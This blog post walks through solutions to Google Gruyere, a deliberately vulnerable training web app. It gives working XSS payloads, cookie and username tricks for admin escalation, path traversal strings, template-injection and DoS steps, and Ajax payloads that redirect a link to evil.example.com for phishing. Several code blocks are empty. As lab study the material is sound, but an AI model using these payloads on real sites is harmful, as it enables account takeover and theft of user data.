Google Gruyere

10 minute read Published: 2017-03-28

#XSS

##File upload For this I simply uploaded the following in an HTML file:

<script>alert('hi')</script>

Then browsed to the URL provided

##Reflected XSS This was as simple as appending the following to the site URL:

<script>alert('hi')</script>

##Stored XSS Here there are two places that come to mind immediately, snippets and the profile page. There are quite a few ways to skin this cat, the one I was able to get working in multiple browsers was by using the onmouseover attribute of valid HTML elements to pop an alert, this was done using a snippet:

<a href="#" onmouseover="alert(1)">test</a>

##Stored XSS Via HTML Attributes The only place I can think of to perform this other than a snippet which we already got exploited is in the profile page, it wasn't obvious to be intially, but the profile color input can be used to apply inline CSS to your name on the home page. For this I ended up with the following:

black' onmouseover='alert(1)' onfocus='alert(2)' onblur='alert(3)

This makes my user's name throw an alert on hover, then on the edit profile page is pops on focus and blur, one thing to note, this didn't initially fire because I was trying to follow normal HTML standards, after viewing page source rather than using browser debug tools I saw single quotes were used rather than normal double quotes.

##Stored XSS Via Ajax This one took a lot of messing around, based on Google's provided hints, the refresh button was our target. After tinkering a lot I was able to come up with this:

hey <span style=display:none>eval(" + (alert(1),"") + ")</span>hi

This works because when you hit refresh on home a JSON object containing the latest snippets from each user gets eval'd in JavaScript, it took me quite a while to get this because I kept thinking I would need valid JSON, however when using eval the JSON value just has to be parseable JavaScript.

##Reflected XSS Via Ajax This is very similar to the previous reflected XSS attack mentioned previously, it just gets hit in a different way. After reading and looking through the code samples Google provides I noticed that the feed page when supplied the uid query string parameter does an eval-ish processing on the page that takes a URL like this:

feed.gtl?uid=<script>alert(1)</script>

Then renders like this in page source:

_feed((
[
"<script>alert(1)</script>"
]
))

{ "private_snippet": "private"

,"cheddar": "Gruyere is the cheesiest application on the web."

,"bob": "all " + (alert(1),"") + "your base" ,"brie": "Brie is the queen of the cheeses!!!" }

#Client-State manipulation

##Priviledge elevation In watching requests go through Burp I noticed that user registration passes the query string parameter is_author=True, which made me wonder if there was an is_admin option to pass. After that I was seeing my requests to update a user profile, this also included the is_author parameter. So I just started trying to set is admin. Initially it seemed like no attempts were working, after looking through Google's hints it turns out that you need to log out then log back in, this way the cookie that gets used to identify you includes the admin flag, which doesn't happen by just editing the cookie.

The reason for this is that the cookie is structured as follows:

32400598|bob||author

The first integer value is a token that gets generated server side, this seems to be the reason I wasn't able to just modify the cookie directly to get elevated privilidges. Upon logging out and back in the cookie looks more like this:

32400598|bob|admin|author

Now the profile page has all the admin options and the manage server link also shows up.

##Cookie manipulation This actually ended up being a bit more difficult, the cookie that gets set to identify a given browser as being a given system user gets generated based on the login or signing up of a user. After trying a lot of different options I broke down and looked at the hints from Google and ended up with:

brie|admin|author

As my username when registering, a side affect (or what appears to be one) is that this can circumvent logging in as well. Upon clicking sign in I was authenticated as brie without actually logging in.

##CSRF All of these items require browsing an HTML file locally while also authenticated with Gruyere

To complete the exercise of deleting someone's snippet:


Then just for fun, I tested updating a user's profile using the same technique, which worked:



##XSSI For this exercise I ended up with:



What this is doing is defining a function that matches how the JavaScript in feed.gtl gets called, and then outputting data stored outside of our local files boundaries, but because the executing script has Google's system/domain as its context it has access to the snipped data where our _feed(s) function would have never originally had access.

#Path Traversal

##Information disclosure via path traversal This ended up being really simple, but the browser was correcting the URL so it didn't work initially, my ../secret.txt needed to be ..%2Fsecret.txt, updating the encoding made things work.

##Data tampering via path traversal For this one I started off trying to get the file overwritten by having a filename that included the directory traversal, however that just wouldn't work: ..%2F..2Fsecret.txt

After a bit of head scratching the username ended up working, signing up as a user with the name: ..%2F..%2F then uploading a new secret.txt, success.

#Denial of Service

##DoS - Quit the server This one was pretty fun. I totally forgot about CORS and originally wrote up a snippet of JavaScript to try and get this working, however the ajax requests got blocked by browser security.


  
      
      
      
  
  
      
      

At this point I was thinking how useful would making a CSRF-ish attack using an image tag be? It turns out with some Javascript and the image tag method worked together beautifully.


  
      
      
      
  
  
      
      
  

This worked both in an authenticated and un-authenticated browser session, its basically utilizing the same method to continually performing the server quit action on a loop. Then just for fun I tried this on a browser that wasn't authenticated and it still worked, double whammy.

##DoS - Overloading the server I had to look at the hints on this one to get it working. Pretty much just overridding a template that gets rendered on every page, it ended up being menubar.gtl:

[[include:menubar.gtl]]DoS[[/include:menubar.gtl]]

#Code Execution From looking at the files that power gruyer and the docs it looks like one of these .py files could be used. I tried a few, the last of which being sanitize.py adding the following:

from urlparse import urlparse, parse_qs

form = util.FieldStorage(req, keep_blank_values=1)
myparameter = form.getfirst("cmd")
print myparameter

#Configuration Vulnerabilities

##Information Disclosure 1 This one ended up being pretty easy, the description mentioned checking the files, a quick search through with grep for debug and config:

grep -irE 'debug|config' *
gruyere.py:  def _DoReset(self, cookie, specials, params):  # debug only; resets this db
gtl.py:  elif escaper_name == 'pprint':  # for debugging
resources/dump.gtl:Debug Dump

Looking at dump.gtl is prints the database out to a page:

_cookie:  	

{'is_admin': True, 'is_author': True, 'uid': u'bob'}

_profile:  	

{'is_author': 'True', 'name': 'bob', 'pw': 'password'}

_db:  	

{'../': {'is_author': 'True', 'name': '../', 'pw': 'password'},
 '../../': {'is_author': 'True', 'name': '../../', 'pw': 'password'},
 'administrator': {'is_admin': True,
                   'is_author': False,
                   'name': 'Admin',
                   'private_snippet': 'My password is secret. Get it?',
                   'pw': 'secret',
                   'web_site': 'http://www.google.com/contact/security.html'},
 'bob': {'is_author': 'True', 'name': 'bob', 'pw': 'password'},
 'bob|admin|author': {'is_author': 'True',
                      'name': 'bob|admin|author',
                      'pw': 'password'},
 'brie': {'color': 'red; text-decoration:underline',
          'is_admin': False,
          'is_author': True,
          'name': 'Brie',
          'private_snippet': 'I use the same password for all my accounts.',
          'pw': 'briebrie',
          'snippets': ['Brie is the queen of the cheeses!!!'],
          'web_site': 'http://news.google.com/news/search?q=brie'},
 'cheddar': {'color': 'blue',
             'is_admin': False,
             'is_author': True,
             'name': 'Cheddar Mac',
             'private_snippet': 'My SSN is 078-05-1120.',
             'pw': 'orange',
             'snippets': ['Gruyere is the cheesiest application on the web.',
                          'I wonder if there are any security holes in this....'],
             'web_site': 'http://images.google.com/images?q=cheddar+cheese'},
 'sardo': {'color': 'red',
           'is_admin': False,
           'is_author': True,
           'name': 'Miss Sardo',
           'private_snippet': 'I hate my brother Romano.',
           'pw': 'odras',
           'snippets': [],
           'web_site': 'http://www.google.com/search?q="pecorino+sardo"'}}

##Information Disclosure 2 After digging around more in the code thinking the vulnerability existed somewhere else I remembered that I can just upload arbitrary files to the server. So I just went and uploaded the dump.gtl file back to the server in resources, then I was able to use the dump template again.

##Information Disclosure 3 This one referred to bad code so I starting going through the python some more. Looking at gtl.py, which looks like it handles the various components of the templating language. There is a section that uses {{ }} as variables:

VAR_OPEN = '{{'
VAR_CLOSE = '}}'


def _ExpandVariables(template, specials, params, name):
  """Expands all the variables in a template."""
  result = []
  rest = template
  while rest:
    tag, before_tag, after_tag = _FindTag(rest, VAR_OPEN, VAR_CLOSE)
    if tag is None:
      break
    result.append(rest[:before_tag])
    result.append(str(_ExpandVariable(tag, specials, params, name)))
    rest = rest[after_tag:]
  return ''.join(result) + rest

This looks like it would be used for handling something like {{_db:pprint}} from dump.gtl

Looking at the edit/show profile template, two of the fields in a profile use the {{}} syntax for outputting data:



They look like something to check out, lets just try putting {{_db:pprint}} in.

After saving the db dump gets thrown into the form controls.

#Ajax Vulnerabilities

##DoS via Ajax

" + eval(document.getElementById('menu-right').getElementsByTagName('a')[0].setAttribute('href', 'http://evil.example.com')) + "

##Phishing via Ajax " + eval(console.log(document.getElementById('menu-right').getElementsByTagName('a')[0].setAttribute('href', 'http://evil.example.com'))) + "